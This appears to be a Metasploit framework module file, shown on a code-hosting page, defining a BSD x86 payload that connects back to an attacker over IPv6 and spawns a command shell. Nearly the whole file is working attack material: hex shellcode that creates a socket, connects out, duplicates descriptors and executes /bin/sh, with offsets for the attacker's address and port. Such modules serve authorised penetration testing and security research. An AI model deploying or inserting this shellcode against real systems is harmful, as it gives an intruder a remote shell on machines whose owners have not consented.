/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb

https://github.com/jduck/metasploit-framework · Ruby · 51 lines · 41 code · 6 blank · 4 comment · 1 complexity · 00b383223bbcd9b893497bfbd8dc4dc6 MD5 · raw file

  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'msf/core/handler/reverse_tcp'
  7. require 'msf/base/sessions/command_shell'
  8. require 'msf/base/sessions/command_shell_options'
  9. module MetasploitModule
  10. CachedSize = 96
  11. include Msf::Payload::Single
  12. include Msf::Payload::Bsd
  13. include Msf::Sessions::CommandShellOptions
  14. def initialize(info = {})
  15. super(merge_info(info,
  16. 'Name' => 'BSD Command Shell, Reverse TCP Inline (IPv6)',
  17. 'Description' => 'Connect back to attacker and spawn a command shell over IPv6',
  18. 'Author' => [ 'skape', 'vlad902', 'hdm' ],
  19. 'License' => MSF_LICENSE,
  20. 'Platform' => 'bsd',
  21. 'Arch' => ARCH_X86,
  22. 'Handler' => Msf::Handler::ReverseTcp,
  23. 'Session' => Msf::Sessions::CommandShellUnix,
  24. 'Payload' =>
  25. {
  26. 'Offsets' =>
  27. {
  28. 'LHOST' => [ 42, 'ADDR6' ],
  29. 'LPORT' => [ 36, 'n' ],
  30. 'SCOPEID' => [ 58, 'V' ]
  31. },
  32. 'Payload' =>
  33. "\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" +
  34. "\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" +
  35. "\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
  36. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x02" +
  37. "\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x50\x68\x2f\x2f\x73" +
  38. "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80"
  39. }
  40. ))
  41. register_options([
  42. OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
  43. ])
  44. end
  45. end